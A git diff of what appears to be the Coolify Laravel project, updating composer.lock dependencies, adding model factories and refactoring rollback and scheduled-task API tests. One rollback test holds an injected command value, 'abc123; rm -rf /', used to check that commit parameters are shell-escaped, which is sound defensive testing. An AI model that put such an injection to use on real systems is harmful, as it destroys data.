"friendsofphp/php-cs-fixer": "^3.93.1", + "illuminate/view": "^12.51.0", + "larastan/larastan": "^3.9.2", + "laravel-zero/framework": "^12.0.5", "mockery/mockery": "^1.6.12", "nunomaduro/termwind": "^2.3.3", - "pestphp/pest": "^3.8.4" + "pestphp/pest": "^3.8.5" }, "bin": [ "builds/pint" @@ -13698,35 +13778,35 @@ "issues": "https://github.com/laravel/pint/issues", "source": "https://github.com/laravel/pint" }, - "time": "2026-01-05T16:49:17+00:00" + "time": "2026-02-10T20:00:20+00:00" }, { "name": "laravel/roster", - "version": "v0.2.9", + "version": "v0.5.0", "source": { "type": "git", "url": "https://github.com/laravel/roster.git", - "reference": "82bbd0e2de614906811aebdf16b4305956816fa6" + "reference": "56904a78f4d7360c1c490ced7deeebf9aecb8c0e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/roster/zipball/82bbd0e2de614906811aebdf16b4305956816fa6", - "reference": "82bbd0e2de614906811aebdf16b4305956816fa6", + "url": "https://api.github.com/repos/laravel/roster/zipball/56904a78f4d7360c1c490ced7deeebf9aecb8c0e", + "reference": "56904a78f4d7360c1c490ced7deeebf9aecb8c0e", "shasum": "" }, "require": { - "illuminate/console": "^10.0|^11.0|^12.0", - "illuminate/contracts": "^10.0|^11.0|^12.0", - "illuminate/routing": "^10.0|^11.0|^12.0", - "illuminate/support": "^10.0|^11.0|^12.0", - "php": "^8.1|^8.2", - "symfony/yaml": "^6.4|^7.2" + "illuminate/console": "^11.0|^12.0|^13.0", + "illuminate/contracts": "^11.0|^12.0|^13.0", + "illuminate/routing": "^11.0|^12.0|^13.0", + "illuminate/support": "^11.0|^12.0|^13.0", + "php": "^8.2", + "symfony/yaml": "^7.2|^8.0" }, "require-dev": { "laravel/pint": "^1.14", "mockery/mockery": "^1.6", - "orchestra/testbench": "^8.22.0|^9.0|^10.0", - "pestphp/pest": "^2.0|^3.0", + "orchestra/testbench": "^9.0|^10.0|^11.0", + "pestphp/pest": "^3.0|^4.1", "phpstan/phpstan": "^2.0" }, "type": "library", @@ -13759,25 +13839,26 @@ "issues": "https://github.com/laravel/roster/issues", "source": "https://github.com/laravel/roster" }, - "time": "2025-10-20T09:56:46+00:00" + "time": "2026-02-17T17:33:35+00:00" }, { "name": "laravel/telescope", - "version": "v5.16.1", + "version": "5.18.0", "source": { "type": "git", "url": "https://github.com/laravel/telescope.git", - "reference": "dc114b94f025b8c16b5eb3194b4ddc0e46d5310c" + "reference": "8bbc1d839317cef7106cabf028e407416e5a1dad" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/telescope/zipball/dc114b94f025b8c16b5eb3194b4ddc0e46d5310c", - "reference": "dc114b94f025b8c16b5eb3194b4ddc0e46d5310c", + "url": "https://api.github.com/repos/laravel/telescope/zipball/8bbc1d839317cef7106cabf028e407416e5a1dad", + "reference": "8bbc1d839317cef7106cabf028e407416e5a1dad", "shasum": "" }, "require": { "ext-json": "*", - "laravel/framework": "^8.37|^9.0|^10.0|^11.0|^12.0", + "laravel/framework": "^8.37|^9.0|^10.0|^11.0|^12.0|^13.0", + "laravel/sentinel": "^1.0", "php": "^8.0", "symfony/console": "^5.3|^6.0|^7.0", "symfony/var-dumper": "^5.0|^6.0|^7.0" @@ -13786,7 +13867,7 @@ "ext-gd": "*", "guzzlehttp/guzzle": "^6.0|^7.0", "laravel/octane": "^1.4|^2.0", - "orchestra/testbench": "^6.47.1|^7.55|^8.36|^9.15|^10.8", + "orchestra/testbench": "^6.47.1|^7.55|^8.36|^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.10" }, "type": "library", @@ -13825,9 +13906,9 @@ ], "support": { "issues": "https://github.com/laravel/telescope/issues", - "source": "https://github.com/laravel/telescope/tree/v5.16.1" + "source": "https://github.com/laravel/telescope/tree/5.18.0" }, - "time": "2025-12-30T17:31:31+00:00" + "time": "2026-02-20T19:55:06+00:00" }, { "name": "league/uri-components", @@ -14058,39 +14139,36 @@ }, { "name": "nunomaduro/collision", - "version": "v8.8.3", + "version": "v8.9.1", "source": { "type": "git", "url": "https://github.com/nunomaduro/collision.git", - "reference": "1dc9e88d105699d0fee8bb18890f41b274f6b4c4" + "reference": "a1ed3fa530fd60bc515f9303e8520fcb7d4bd935" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nunomaduro/collision/zipball/1dc9e88d105699d0fee8bb18890f41b274f6b4c4", - "reference": "1dc9e88d105699d0fee8bb18890f41b274f6b4c4", + "url": "https://api.github.com/repos/nunomaduro/collision/zipball/a1ed3fa530fd60bc515f9303e8520fcb7d4bd935", + "reference": "a1ed3fa530fd60bc515f9303e8520fcb7d4bd935", "shasum": "" }, "require": { - "filp/whoops": "^2.18.1", - "nunomaduro/termwind": "^2.3.1", + "filp/whoops": "^2.18.4", + "nunomaduro/termwind": "^2.4.0", "php": "^8.2.0", - "symfony/console": "^7.3.0" + "symfony/console": "^7.4.4 || ^8.0.4" }, "conflict": { - "laravel/framework": "<11.44.2 || >=13.0.0", - "phpunit/phpunit": "<11.5.15 || >=13.0.0" + "laravel/framework": "<11.48.0 || >=14.0.0", + "phpunit/phpunit": "<11.5.50 || >=14.0.0" }, "require-dev": { - "brianium/paratest": "^7.8.3", - "larastan/larastan": "^3.4.2", - "laravel/framework": "^11.44.2 || ^12.18", - "laravel/pint": "^1.22.1", - "laravel/sail": "^1.43.1", - "laravel/sanctum": "^4.1.1", - "laravel/tinker": "^2.10.1", - "orchestra/testbench-core": "^9.12.0 || ^10.4", - "pestphp/pest": "^3.8.2 || ^4.0.0", - "sebastian/environment": "^7.2.1 || ^8.0" + "brianium/paratest": "^7.8.5", + "larastan/larastan": "^3.9.2", + "laravel/framework": "^11.48.0 || ^12.52.0", + "laravel/pint": "^1.27.1", + "orchestra/testbench-core": "^9.12.0 || ^10.9.0", + "pestphp/pest": "^3.8.5 || ^4.4.1 || ^5.0.0", + "sebastian/environment": "^7.2.1 || ^8.0.3 || ^9.0.0" }, "type": "library", "extra": { @@ -14153,45 +14231,45 @@ "type": "patreon" } ], - "time": "2025-11-20T02:55:25+00:00" + "time": "2026-02-17T17:33:08+00:00" }, { "name": "pestphp/pest", - "version": "v4.3.2", + "version": "v4.4.1", "source": { "type": "git", "url": "https://github.com/pestphp/pest.git", - "reference": "3a4329ddc7a2b67c19fca8342a668b39be3ae398" + "reference": "f96a1b27864b585b0b29b0ee7331176726f7e54a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/pestphp/pest/zipball/3a4329ddc7a2b67c19fca8342a668b39be3ae398", - "reference": "3a4329ddc7a2b67c19fca8342a668b39be3ae398", + "url": "https://api.github.com/repos/pestphp/pest/zipball/f96a1b27864b585b0b29b0ee7331176726f7e54a", + "reference": "f96a1b27864b585b0b29b0ee7331176726f7e54a", "shasum": "" }, "require": { - "brianium/paratest": "^7.16.1", - "nunomaduro/collision": "^8.8.3", - "nunomaduro/termwind": "^2.3.3", + "brianium/paratest": "^7.19.0", + "nunomaduro/collision": "^8.9.0", + "nunomaduro/termwind": "^2.4.0", "pestphp/pest-plugin": "^4.0.0", "pestphp/pest-plugin-arch": "^4.0.0", "pestphp/pest-plugin-mutate": "^4.0.1", "pestphp/pest-plugin-profanity": "^4.2.1", "php": "^8.3.0", - "phpunit/phpunit": "^12.5.8", - "symfony/process": "^7.4.4|^8.0.0" + "phpunit/phpunit": "^12.5.12", + "symfony/process": "^7.4.5|^8.0.5" }, "conflict": { "filp/whoops": "<2.18.3", - "phpunit/phpunit": ">12.5.8", + "phpunit/phpunit": ">12.5.12", "sebastian/exporter": "<7.0.0", "webmozart/assert": "<1.11.0" }, "require-dev": { - "pestphp/pest-dev-tools": "^4.0.0", - "pestphp/pest-plugin-browser": "^4.2.1", + "pestphp/pest-dev-tools": "^4.1.0", + "pestphp/pest-plugin-browser": "^4.3.0", "pestphp/pest-plugin-type-coverage": "^4.0.3", - "psy/psysh": "^0.12.18" + "psy/psysh": "^0.12.20" }, "bin": [ "bin/pest" @@ -14257,7 +14335,7 @@ ], "support": { "issues": "https://github.com/pestphp/pest/issues", - "source": "https://github.com/pestphp/pest/tree/v4.3.2" + "source": "https://github.com/pestphp/pest/tree/v4.4.1" }, "funding": [ { @@ -14269,7 +14347,7 @@ "type": "github" } ], - "time": "2026-01-28T01:01:19+00:00" + "time": "2026-02-17T15:27:18+00:00" }, { "name": "pestphp/pest-plugin", @@ -14413,35 +14491,35 @@ }, { "name": "pestphp/pest-plugin-browser", - "version": "v4.2.1", + "version": "v4.3.0", "source": { "type": "git", "url": "https://github.com/pestphp/pest-plugin-browser.git", - "reference": "0ed837ab7e80e6fc78d36913cc0b006f8819336d" + "reference": "48bc408033281974952a6b296592cef3b920a2db" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/pestphp/pest-plugin-browser/zipball/0ed837ab7e80e6fc78d36913cc0b006f8819336d", - "reference": "0ed837ab7e80e6fc78d36913cc0b006f8819336d", + "url": "https://api.github.com/repos/pestphp/pest-plugin-browser/zipball/48bc408033281974952a6b296592cef3b920a2db", + "reference": "48bc408033281974952a6b296592cef3b920a2db", "shasum": "" }, "require": { "amphp/amp": "^3.1.1", - "amphp/http-server": "^3.4.3", + "amphp/http-server": "^3.4.4", "amphp/websocket-client": "^2.0.2", "ext-sockets": "*", - "pestphp/pest": "^4.3.1", + "pestphp/pest": "^4.3.2", "pestphp/pest-plugin": "^4.0.0", "php": "^8.3", - "symfony/process": "^7.4.3" + "symfony/process": "^7.4.5|^8.0.5" }, "require-dev": { "ext-pcntl": "*", "ext-posix": "*", - "livewire/livewire": "^3.7.3", - "nunomaduro/collision": "^8.8.3", - "orchestra/testbench": "^10.8.0", - "pestphp/pest-dev-tools": "^4.0.0", + "livewire/livewire": "^3.7.10", + "nunomaduro/collision": "^8.9.0", + "orchestra/testbench": "^10.9.0", + "pestphp/pest-dev-tools": "^4.1.0", "pestphp/pest-plugin-laravel": "^4.0", "pestphp/pest-plugin-type-coverage": "^4.0.3" }, @@ -14476,7 +14554,7 @@ "unit" ], "support": { - "source": "https://github.com/pestphp/pest-plugin-browser/tree/v4.2.1" + "source": "https://github.com/pestphp/pest-plugin-browser/tree/v4.3.0" }, "funding": [ { @@ -14492,7 +14570,7 @@ "type": "patreon" } ], - "time": "2026-01-11T20:32:34+00:00" + "time": "2026-02-17T14:54:40+00:00" }, { "name": "pestphp/pest-plugin-mutate", @@ -14886,11 +14964,11 @@ }, { "name": "phpstan/phpstan", - "version": "2.1.38", + "version": "2.1.40", "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpstan/zipball/dfaf1f530e1663aa167bc3e52197adb221582629", - "reference": "dfaf1f530e1663aa167bc3e52197adb221582629", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/9b2c7aeb83a75d8680ea5e7c9b7fca88052b766b", + "reference": "9b2c7aeb83a75d8680ea5e7c9b7fca88052b766b", "shasum": "" }, "require": { @@ -14935,20 +15013,20 @@ "type": "github" } ], - "time": "2026-01-30T17:12:46+00:00" + "time": "2026-02-23T15:04:35+00:00" }, { "name": "phpunit/php-code-coverage", - "version": "12.5.2", + "version": "12.5.3", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-code-coverage.git", - "reference": "4a9739b51cbcb355f6e95659612f92e282a7077b" + "reference": "b015312f28dd75b75d3422ca37dff2cd1a565e8d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/4a9739b51cbcb355f6e95659612f92e282a7077b", - "reference": "4a9739b51cbcb355f6e95659612f92e282a7077b", + "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/b015312f28dd75b75d3422ca37dff2cd1a565e8d", + "reference": "b015312f28dd75b75d3422ca37dff2cd1a565e8d", "shasum": "" }, "require": { @@ -15004,7 +15082,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", - "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/12.5.2" + "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/12.5.3" }, "funding": [ { @@ -15024,7 +15102,7 @@ "type": "tidelift" } ], - "time": "2025-12-24T07:03:04+00:00" + "time": "2026-02-06T06:01:44+00:00" }, { "name": "phpunit/php-file-iterator", @@ -15285,16 +15363,16 @@ }, { "name": "phpunit/phpunit", - "version": "12.5.8", + "version": "12.5.12", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/phpunit.git", - "reference": "37ddb96c14bfee10304825edbb7e66d341ec6889" + "reference": "418e06b3b46b0d54bad749ff4907fc7dfb530199" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/37ddb96c14bfee10304825edbb7e66d341ec6889", - "reference": "37ddb96c14bfee10304825edbb7e66d341ec6889", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/418e06b3b46b0d54bad749ff4907fc7dfb530199", + "reference": "418e06b3b46b0d54bad749ff4907fc7dfb530199", "shasum": "" }, "require": { @@ -15308,8 +15386,8 @@ "phar-io/manifest": "^2.0.4", "phar-io/version": "^3.2.1", "php": ">=8.3", - "phpunit/php-code-coverage": "^12.5.2", - "phpunit/php-file-iterator": "^6.0.0", + "phpunit/php-code-coverage": "^12.5.3", + "phpunit/php-file-iterator": "^6.0.1", "phpunit/php-invoker": "^6.0.0", "phpunit/php-text-template": "^5.0.0", "phpunit/php-timer": "^8.0.0", @@ -15320,6 +15398,7 @@ "sebastian/exporter": "^7.0.2", "sebastian/global-state": "^8.0.2", "sebastian/object-enumerator": "^7.0.0", + "sebastian/recursion-context": "^7.0.1", "sebastian/type": "^6.0.3", "sebastian/version": "^6.0.0", "staabm/side-effects-detector": "^1.0.5" @@ -15362,7 +15441,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/phpunit/issues", "security": "https://github.com/sebastianbergmann/phpunit/security/policy", - "source": "https://github.com/sebastianbergmann/phpunit/tree/12.5.8" + "source": "https://github.com/sebastianbergmann/phpunit/tree/12.5.12" }, "funding": [ { @@ -15386,25 +15465,25 @@ "type": "tidelift" } ], - "time": "2026-01-27T06:12:29+00:00" + "time": "2026-02-16T08:34:36+00:00" }, { "name": "rector/rector", - "version": "2.3.5", + "version": "2.3.8", "source": { "type": "git", "url": "https://github.com/rectorphp/rector.git", - "reference": "9442f4037de6a5347ae157fe8e6c7cda9d909070" + "reference": "bbd37aedd8df749916cffa2a947cfc4714d1ba2c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/rectorphp/rector/zipball/9442f4037de6a5347ae157fe8e6c7cda9d909070", - "reference": "9442f4037de6a5347ae157fe8e6c7cda9d909070", + "url": "https://api.github.com/repos/rectorphp/rector/zipball/bbd37aedd8df749916cffa2a947cfc4714d1ba2c", + "reference": "bbd37aedd8df749916cffa2a947cfc4714d1ba2c", "shasum": "" }, "require": { "php": "^7.4|^8.0", - "phpstan/phpstan": "^2.1.36" + "phpstan/phpstan": "^2.1.38" }, "conflict": { "rector/rector-doctrine": "*", @@ -15438,7 +15517,7 @@ ], "support": { "issues": "https://github.com/rectorphp/rector/issues", - "source": "https://github.com/rectorphp/rector/tree/2.3.5" + "source": "https://github.com/rectorphp/rector/tree/2.3.8" }, "funding": [ { @@ -15446,7 +15525,7 @@ "type": "github" } ], - "time": "2026-01-28T15:22:48+00:00" + "time": "2026-02-22T09:45:50+00:00" }, { "name": "revolt/event-loop", @@ -16690,23 +16769,23 @@ }, { "name": "spatie/laravel-ignition", - "version": "2.10.0", + "version": "2.11.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-ignition.git", - "reference": "2abefdcca6074a9155f90b4ccb3345af8889d5f5" + "reference": "11f38d1ff7abc583a61c96bf3c1b03610a69cccd" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-ignition/zipball/2abefdcca6074a9155f90b4ccb3345af8889d5f5", - "reference": "2abefdcca6074a9155f90b4ccb3345af8889d5f5", + "url": "https://api.github.com/repos/spatie/laravel-ignition/zipball/11f38d1ff7abc583a61c96bf3c1b03610a69cccd", + "reference": "11f38d1ff7abc583a61c96bf3c1b03610a69cccd", "shasum": "" }, "require": { "ext-curl": "*", "ext-json": "*", "ext-mbstring": "*", - "illuminate/support": "^11.0|^12.0", + "illuminate/support": "^11.0|^12.0|^13.0", "nesbot/carbon": "^2.72|^3.0", "php": "^8.2", "spatie/ignition": "^1.15.1", @@ -16714,10 +16793,10 @@ "symfony/var-dumper": "^7.4|^8.0" }, "require-dev": { - "livewire/livewire": "^3.7.0|^4.0", + "livewire/livewire": "^3.7.0|^4.0|dev-josh/v3-laravel-13-support", "mockery/mockery": "^1.6.12", - "openai-php/client": "^0.10.3", - "orchestra/testbench": "^v9.16.0|^10.6", + "openai-php/client": "^0.10.3|^0.19", + "orchestra/testbench": "^v9.16.0|^10.6|^11.0", "pestphp/pest": "^3.7|^4.0", "phpstan/extension-installer": "^1.4.3", "phpstan/phpstan-deprecation-rules": "^2.0.3", @@ -16778,7 +16857,7 @@ "type": "github" } ], - "time": "2026-01-20T13:16:11+00:00" + "time": "2026-02-22T19:14:05+00:00" }, { "name": "staabm/side-effects-detector", @@ -16834,16 +16913,16 @@ }, { "name": "symfony/http-client", - "version": "v7.4.5", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/http-client.git", - "reference": "84bb634857a893cc146cceb467e31b3f02c5fe9f" + "reference": "2bde8afd5ab2fe0b05a9c2d4c3c0e28ceb98a154" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-client/zipball/84bb634857a893cc146cceb467e31b3f02c5fe9f", - "reference": "84bb634857a893cc146cceb467e31b3f02c5fe9f", + "url": "https://api.github.com/repos/symfony/http-client/zipball/2bde8afd5ab2fe0b05a9c2d4c3c0e28ceb98a154", + "reference": "2bde8afd5ab2fe0b05a9c2d4c3c0e28ceb98a154", "shasum": "" }, "require": { @@ -16911,7 +16990,7 @@ "http" ], "support": { - "source": "https://github.com/symfony/http-client/tree/v7.4.5" + "source": "https://github.com/symfony/http-client/tree/v7.4.6" }, "funding": [ { @@ -16931,7 +17010,7 @@ "type": "tidelift" } ], - "time": "2026-01-27T16:16:02+00:00" + "time": "2026-02-18T09:46:18+00:00" }, { "name": "symfony/http-client-contracts", @@ -17013,23 +17092,23 @@ }, { "name": "ta-tikoma/phpunit-architecture-test", - "version": "0.8.6", + "version": "0.8.7", "source": { "type": "git", "url": "https://github.com/ta-tikoma/phpunit-architecture-test.git", - "reference": "ad48430b92901fd7d003fdaf2d7b139f96c0906e" + "reference": "1248f3f506ca9641d4f68cebcd538fa489754db8" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/ta-tikoma/phpunit-architecture-test/zipball/ad48430b92901fd7d003fdaf2d7b139f96c0906e", - "reference": "ad48430b92901fd7d003fdaf2d7b139f96c0906e", + "url": "https://api.github.com/repos/ta-tikoma/phpunit-architecture-test/zipball/1248f3f506ca9641d4f68cebcd538fa489754db8", + "reference": "1248f3f506ca9641d4f68cebcd538fa489754db8", "shasum": "" }, "require": { "nikic/php-parser": "^4.18.0 || ^5.0.0", "php": "^8.1.0", "phpdocumentor/reflection-docblock": "^5.3.0 || ^6.0.0", - "phpunit/phpunit": "^10.5.5 || ^11.0.0 || ^12.0.0", + "phpunit/phpunit": "^10.5.5 || ^11.0.0 || ^12.0.0 || ^13.0.0", "symfony/finder": "^6.4.0 || ^7.0.0 || ^8.0.0" }, "require-dev": { @@ -17066,9 +17145,9 @@ ], "support": { "issues": "https://github.com/ta-tikoma/phpunit-architecture-test/issues", - "source": "https://github.com/ta-tikoma/phpunit-architecture-test/tree/0.8.6" + "source": "https://github.com/ta-tikoma/phpunit-architecture-test/tree/0.8.7" }, - "time": "2026-01-30T07:16:00+00:00" + "time": "2026-02-17T17:25:14+00:00" }, { "name": "theseer/tokenizer", diff --git a/database/factories/EnvironmentFactory.php b/database/factories/EnvironmentFactory.php new file mode 100644 index 000000000..98959197d --- /dev/null +++ b/database/factories/EnvironmentFactory.php @@ -0,0 +1,16 @@ + fake()->unique()->word(), + 'project_id' => 1, + ]; + } +} diff --git a/database/factories/ProjectFactory.php b/database/factories/ProjectFactory.php new file mode 100644 index 000000000..0b2b72b8a --- /dev/null +++ b/database/factories/ProjectFactory.php @@ -0,0 +1,16 @@ + fake()->unique()->company(), + 'team_id' => 1, + ]; + } +} diff --git a/database/factories/ServiceFactory.php b/database/factories/ServiceFactory.php new file mode 100644 index 000000000..62c5f7cda --- /dev/null +++ b/database/factories/ServiceFactory.php @@ -0,0 +1,19 @@ + fake()->unique()->word(), + 'destination_type' => \App\Models\StandaloneDocker::class, + 'destination_id' => 1, + 'environment_id' => 1, + 'docker_compose_raw' => 'version: "3"', + ]; + } +} diff --git a/database/factories/StandaloneDockerFactory.php b/database/factories/StandaloneDockerFactory.php new file mode 100644 index 000000000..d37785189 --- /dev/null +++ b/database/factories/StandaloneDockerFactory.php @@ -0,0 +1,18 @@ + fake()->uuid(), + 'name' => fake()->unique()->word(), + 'network' => 'coolify', + 'server_id' => 1, + ]; + } +} diff --git a/tests/Feature/ApplicationRollbackTest.php b/tests/Feature/ApplicationRollbackTest.php index bf80868cb..f62ad6650 100644 --- a/tests/Feature/ApplicationRollbackTest.php +++ b/tests/Feature/ApplicationRollbackTest.php @@ -2,42 +2,23 @@ use App\Models\Application; use App\Models\ApplicationSetting; -use App\Models\Environment; -use App\Models\Project; -use App\Models\Server; -use App\Models\Team; -use Illuminate\Foundation\Testing\RefreshDatabase; - -uses(RefreshDatabase::class); describe('Application Rollback', function () { beforeEach(function () { - $team = Team::factory()->create(); - $project = Project::create([ - 'team_id' => $team->id, - 'name' => 'Test Project', - 'uuid' => (string) str()->uuid(), - ]); - $environment = Environment::create([ - 'project_id' => $project->id, - 'name' => 'rollback-test-env', - 'uuid' => (string) str()->uuid(), - ]); - $server = Server::factory()->create(['team_id' => $team->id]); - - $this->application = Application::factory()->create([ - 'environment_id' => $environment->id, - 'destination_id' => $server->id, + $this->application = new Application; + $this->application->forceFill([ + 'uuid' => 'test-app-uuid', 'git_commit_sha' => 'HEAD', ]); + + $settings = new ApplicationSetting; + $settings->is_git_shallow_clone_enabled = false; + $settings->is_git_submodules_enabled = false; + $settings->is_git_lfs_enabled = false; + $this->application->setRelation('settings', $settings); }); test('setGitImportSettings uses passed commit instead of application git_commit_sha', function () { - ApplicationSetting::create([ - 'application_id' => $this->application->id, - 'is_git_shallow_clone_enabled' => false, - ]); - $rollbackCommit = 'abc123def456abc123def456abc123def456abc1'; $result = $this->application->setGitImportSettings( @@ -51,10 +32,7 @@ }); test('setGitImportSettings with shallow clone fetches specific commit', function () { - ApplicationSetting::create([ - 'application_id' => $this->application->id, - 'is_git_shallow_clone_enabled' => true, - ]); + $this->application->settings->is_git_shallow_clone_enabled = true; $rollbackCommit = 'abc123def456abc123def456abc123def456abc1'; @@ -71,12 +49,7 @@ }); test('setGitImportSettings falls back to git_commit_sha when no commit passed', function () { - $this->application->update(['git_commit_sha' => 'def789abc012def789abc012def789abc012def7']); - - ApplicationSetting::create([ - 'application_id' => $this->application->id, - 'is_git_shallow_clone_enabled' => false, - ]); + $this->application->git_commit_sha = 'def789abc012def789abc012def789abc012def7'; $result = $this->application->setGitImportSettings( deployment_uuid: 'test-uuid', @@ -88,11 +61,6 @@ }); test('setGitImportSettings escapes shell metacharacters in commit parameter', function () { - ApplicationSetting::create([ - 'application_id' => $this->application->id, - 'is_git_shallow_clone_enabled' => false, - ]); - $maliciousCommit = 'abc123; rm -rf /'; $result = $this->application->setGitImportSettings( @@ -109,11 +77,6 @@ }); test('setGitImportSettings does not append checkout when commit is HEAD', function () { - ApplicationSetting::create([ - 'application_id' => $this->application->id, - 'is_git_shallow_clone_enabled' => false, - ]); - $result = $this->application->setGitImportSettings( deployment_uuid: 'test-uuid', git_clone_command: 'git clone', diff --git a/tests/Feature/ScheduledTaskApiTest.php b/tests/Feature/ScheduledTaskApiTest.php index fbd6e383e..741082cff 100644 --- a/tests/Feature/ScheduledTaskApiTest.php +++ b/tests/Feature/ScheduledTaskApiTest.php @@ -2,6 +2,7 @@ use App\Models\Application; use App\Models\Environment; +use App\Models\InstanceSettings; use App\Models\Project; use App\Models\ScheduledTask; use App\Models\ScheduledTaskExecution; @@ -15,6 +16,9 @@ uses(RefreshDatabase::class); beforeEach(function () { + // ApiAllowed middleware requires InstanceSettings with id=0 + InstanceSettings::create(['id' => 0, 'is_api_enabled' => true]); + $this->team = Team::factory()->create(); $this->user = User::factory()->create(); $this->team->members()->attach($this->user->id, ['role' => 'owner']); @@ -25,12 +29,14 @@ $this->bearerToken = $this->token->plainTextToken; $this->server = Server::factory()->create(['team_id' => $this->team->id]); - $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + // Server::booted() auto-creates a StandaloneDocker, reuse it + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + // Project::booted() auto-creates a 'production' Environment, reuse it $this->project = Project::factory()->create(['team_id' => $this->team->id]); - $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + $this->environment = $this->project->environments()->first(); }); -function authHeaders($bearerToken): array +function scheduledTaskAuthHeaders($bearerToken): array { return [ 'Authorization' => 'Bearer '.$bearerToken, @@ -46,7 +52,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks"); $response->assertStatus(200); @@ -66,7 +72,7 @@ function authHeaders($bearerToken): array 'name' => 'Test Task', ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks"); $response->assertStatus(200); @@ -75,7 +81,7 @@ function authHeaders($bearerToken): array }); test('returns 404 for unknown application uuid', function () { - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson('/api/v1/applications/nonexistent-uuid/scheduled-tasks'); $response->assertStatus(404); @@ -90,7 +96,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ 'name' => 'Backup', 'command' => 'php artisan backup', @@ -116,7 +122,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ 'command' => 'echo test', 'frequency' => '* * * * *', @@ -132,7 +138,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ 'name' => 'Test', 'command' => 'echo test', @@ -150,7 +156,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ 'name' => 'Test', 'command' => 'echo test', @@ -168,7 +174,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ 'name' => 'Test', 'command' => 'echo test', @@ -199,7 +205,7 @@ function authHeaders($bearerToken): array 'name' => 'Old Name', ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}", [ 'name' => 'New Name', ]); @@ -215,7 +221,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent", [ 'name' => 'Test', ]); @@ -237,7 +243,7 @@ function authHeaders($bearerToken): array 'team_id' => $this->team->id, ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}"); $response->assertStatus(200); @@ -253,7 +259,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent"); $response->assertStatus(404); @@ -279,7 +285,7 @@ function authHeaders($bearerToken): array 'message' => 'OK', ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}/executions"); $response->assertStatus(200); @@ -294,7 +300,7 